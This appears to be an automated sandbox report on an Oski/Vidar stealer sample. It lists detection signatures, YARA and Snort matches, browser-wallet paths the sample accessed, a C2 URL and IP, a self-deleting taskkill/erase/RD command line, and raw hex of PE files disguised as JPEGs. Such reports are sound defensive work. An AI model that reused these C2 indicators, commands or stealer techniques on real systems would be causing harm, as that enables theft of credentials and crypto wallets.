Edit tour

Windows Analysis Report
PmX1jHdUnS.exe

Overview

General Information

Sample Name:	PmX1jHdUnS.exe
Original Sample Name:	95C729597254D7D13131A1D787EE8672.exe
Analysis ID:	1336856
MD5:	95c729597254d7d13131a1d787ee8672
SHA1:	d44dd5beba366c2dd917ca0ed0ba5ff109d765c7
SHA256:	078e034c9471d383cda140f060f9ff26960d0674cfc9d0c05d0c704dbe5cf9ab
Tags:	exeOskiStealer
Infos:

Detection

Oski Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Oski Stealer

Antivirus / Scanner detection for submitted sample

Yara detected Vidar stealer

Snort IDS alert for network traffic

Tries to steal Crypto Currency Wallets

Downloads files with wrong headers with respect to MIME Content-Type

Posts data to a JPG file (protocol mismatch)

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Yara detected Credential Stealer

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Downloads executable code via HTTP

Enables debug privileges

Queries information about the installed CPU (vendor, model number etc)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Uses taskkill to terminate processes

PE file contains more sections than normal

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

PmX1jHdUnS.exe (PID: 7776 cmdline: C:\Users\user\Desktop\PmX1jHdUnS.exe MD5: 95C729597254D7D13131A1D787EE8672)

cmd.exe (PID: 7404 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /pid 7776 & erase C:\Users\user\Desktop\PmX1jHdUnS.exe & RD /S /Q C:\\ProgramData\\359572487740756\\* & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7616 cmdline: taskkill /pid 7776 MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Oski

{"C2 url": "9enternecera.ru.com/os/"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
PmX1jHdUnS.exe	JoeSecurity_Oski	Yara detected Oski Stealer	Joe Security
PmX1jHdUnS.exe	Windows_Trojan_OskiStealer_a158b1e3	unknown	unknown	0x28a10:$a1: "os_crypt":{"encrypted_key":" 0x289b4:$a2: %s / %s 0x28b54:$a3: outlook.txt 0x28f24:$a4: GLoX6gmCFw== 0x28ea8:$a5: KaoQpEzKSjGm8Q==
PmX1jHdUnS.exe	MALWARE_Win_Vidar	Detects Vidar / ArkeiStealer	ditekSHen	0x28a10:$s1: "os_crypt":{"encrypted_key":" 0x28954:$s2: screenshot.jpg 0x2a538:$s2: screenshot.jpg 0x28c84:$s3: Content-Disposition: form-data; name="

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1299679239.0000000000517000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_OskiStealer_a158b1e3	unknown	unknown	0x2c10:$a1: "os_crypt":{"encrypted_key":" 0x2bb4:$a2: %s / %s 0x2d54:$a3: outlook.txt 0x3124:$a4: GLoX6gmCFw== 0x30a8:$a5: KaoQpEzKSjGm8Q==
00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Oski_1	Yara detected Oski Stealer	Joe Security
00000000.00000000.1241608281.0000000000517000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_OskiStealer_a158b1e3	unknown	unknown	0x2c10:$a1: "os_crypt":{"encrypted_key":" 0x2bb4:$a2: %s / %s 0x2d54:$a3: outlook.txt 0x3124:$a4: GLoX6gmCFw== 0x30a8:$a5: KaoQpEzKSjGm8Q==
Process Memory Space: PmX1jHdUnS.exe PID: 7776	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: PmX1jHdUnS.exe PID: 7776	JoeSecurity_Oski_1	Yara detected Oski Stealer	Joe Security
Process Memory Space: PmX1jHdUnS.exe PID: 7776	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PmX1jHdUnS.exe PID: 7776	Windows_Trojan_OskiStealer_a158b1e3	unknown	unknown	0xf8798:$a1: "os_crypt":{"encrypted_key":" 0x49eaa2:$a1: "os_crypt":{"encrypted_key":" 0xf878a:$a2: %s / %s 0x49ea94:$a2: %s / %s 0xf87f6:$a3: outlook.txt 0xfbe2c:$a3: outlook.txt 0x265404:$a3: outlook.txt 0x26543f:$a3: outlook.txt 0x409c82:$a3: outlook.txt 0x49eb00:$a3: outlook.txt 0x4a2136:$a3: outlook.txt 0xf8a7a:$a4: GLoX6gmCFw== 0x49ed84:$a4: GLoX6gmCFw== 0xf8a07:$a5: KaoQpEzKSjGm8Q== 0x49ed11:$a5: KaoQpEzKSjGm8Q==
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.PmX1jHdUnS.exe.4f0000.0.unpack	JoeSecurity_Oski	Yara detected Oski Stealer	Joe Security
0.0.PmX1jHdUnS.exe.4f0000.0.unpack	Windows_Trojan_OskiStealer_a158b1e3	unknown	unknown	0x28a10:$a1: "os_crypt":{"encrypted_key":" 0x289b4:$a2: %s / %s 0x28b54:$a3: outlook.txt 0x28f24:$a4: GLoX6gmCFw== 0x28ea8:$a5: KaoQpEzKSjGm8Q==
0.0.PmX1jHdUnS.exe.4f0000.0.unpack	MALWARE_Win_Vidar	Detects Vidar / ArkeiStealer	ditekSHen	0x28a10:$s1: "os_crypt":{"encrypted_key":" 0x28954:$s2: screenshot.jpg 0x2a538:$s2: screenshot.jpg 0x28c84:$s3: Content-Disposition: form-data; name="
0.2.PmX1jHdUnS.exe.4f0000.0.unpack	JoeSecurity_Oski	Yara detected Oski Stealer	Joe Security
0.2.PmX1jHdUnS.exe.4f0000.0.unpack	Windows_Trojan_OskiStealer_a158b1e3	unknown	unknown	0x28a10:$a1: "os_crypt":{"encrypted_key":" 0x289b4:$a2: %s / %s 0x28b54:$a3: outlook.txt 0x28f24:$a4: GLoX6gmCFw== 0x28ea8:$a5: KaoQpEzKSjGm8Q==
0.2.PmX1jHdUnS.exe.4f0000.0.unpack	MALWARE_Win_Vidar	Detects Vidar / ArkeiStealer	ditekSHen	0x28a10:$s1: "os_crypt":{"encrypted_key":" 0x28954:$s2: screenshot.jpg 0x2a538:$s2: screenshot.jpg 0x28c84:$s3: Content-Disposition: form-data; name="
Click to see the 1 entries

Snort Signatures

ET TROJAN Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern - Source IP: 192.168.2.10 - Destination IP: 103.83.194.50

Timestamp:	192.168.2.10103.83.194.5049711802034813 11/03/23-18:53:45.180751
SID:	2034813
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.0.PmX1jHdUnS.exe.4f0000.0.unpack

Malware Configuration Extractor: Oski {"C2 url": "9enternecera.ru.com/os/"}

Multi AV Scanner detection for submitted file

Source: PmX1jHdUnS.exe

ReversingLabs: Detection: 81%

Antivirus / Scanner detection for submitted sample

Source: PmX1jHdUnS.exe

Avira: detected

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050C900 _memset,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0050C900
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050CB10 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_0050CB10
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050CBA0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0050CBA0
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050CD30 _malloc,_malloc,CryptUnprotectData,	0_2_0050CD30
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050EED0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_0050EED0

Source: PmX1jHdUnS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PmX1jHdUnS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1278419085.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: PmX1jHdUnS.exe, 00000000.00000003.1278419085.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: PmX1jHdUnS.exe, 00000000.00000003.1266327798.0000000003760000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266136898.000000000371C000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265807389.000000000370D000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265723544.00000000036E7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265842972.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266428397.00000000037B8000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265995008.0000000003732000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265920256.0000000003705000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266267550.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266212440.0000000003760000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266576568.000000000381B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266837064.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266057014.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1263648406.0000000003706000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: PmX1jHdUnS.exe, 00000000.00000003.1263648406.0000000003706000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265608689.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: PmX1jHdUnS.exe, 00000000.00000003.1254605965.00000000036F7000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1266327798.0000000003760000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266136898.000000000371C000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265807389.000000000370D000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265723544.00000000036E7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265842972.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266428397.00000000037B8000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265995008.0000000003732000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1265920256.0000000003705000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266267550.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266212440.0000000003760000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266576568.000000000381B000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266837064.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1266057014.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1274482386.0000000003F35000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274023844.0000000003E0F000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1274708882.0000000003CE7000.00000004.00000020.00020000.00000000.sdmp, PmX1jHdUnS.exe, 00000000.00000003.1275428032.0000000003E25000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: PmX1jHdUnS.exe, 00000000.00000003.1261652606.000000000372B000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050D360 wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	0_2_0050D360
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_004F43DF FindFirstFileExA,GetLastError,___time64_t_from_ft,___time64_t_from_ft,___time64_t_from_ft,_strcpy_s,__invoke_watson,	0_2_004F43DF
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_00510540 wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,wsprintfA,DeleteFileA,FindNextFileA,FindClose,	0_2_00510540
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050E640 wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	0_2_0050E640
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	Code function: 0_2_0050F6B0 FindFirstFileExW,	0_2_0050F6B0

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\PmX1jHdUnS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior

Source: C:\Users\user\Desktop\PmX1jHdUnS.exe

Code function: 4x nop then add esp, 04h

0_2_00513050

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2034813 ET TROJAN Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern 192.168.2.10:49711 -> 103.83.194.50:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:41 GMT Server: Apache Last-Modified: Thu, 06 Jun 2019 19:01:52 GMT Accept-Ranges: bytes Content-Length: 144848 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:42 GMT Server: Apache Last-Modified: Mon, 07 Aug 2017 10:52:20 GMT Accept-Ranges: bytes Content-Length: 645592 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:42 GMT Server: Apache Last-Modified: Thu, 06 Jun 2019 19:00:58 GMT Accept-Ranges: bytes Content-Length: 334288 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 